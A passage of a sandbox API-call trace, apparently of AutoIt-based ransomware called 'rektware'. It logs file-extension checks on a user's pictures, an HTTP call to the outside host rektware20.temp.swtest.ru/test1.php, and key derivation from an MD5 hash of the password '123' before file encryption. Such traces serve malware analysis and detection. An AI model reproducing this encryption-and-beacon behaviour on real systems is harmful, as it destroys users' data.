dwCmpFlags=0x1, lpString1="bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ttn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="buLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.672] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.672] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.672] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.672] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.672] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.672] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.672] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.672] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.672] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0061.672] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.672] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.672] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.673] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.673] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.673] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.673] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.673] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.673] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.674] CloseHandle (hObject=0x0) returned 0 [0061.674] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.674] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.674] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.674] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.674] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.674] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.674] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.674] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.674] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.674] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.675] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.675] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.675] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.675] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.675] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.675] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.675] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.675] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.675] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.675] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.675] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.676] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.676] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f88) returned 1 [0061.676] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.676] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.676] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.676] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.676] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.677] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.677] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.677] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.677] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.677] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.677] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.677] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.677] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.677] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.678] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.678] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.678] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.678] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.678] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.678] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.678] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.678] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.678] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.678] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.679] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.679] CryptCreateHash (in: hProv=0x17a9f88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629520, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.679] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.679] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.679] PeekMessageW (in: 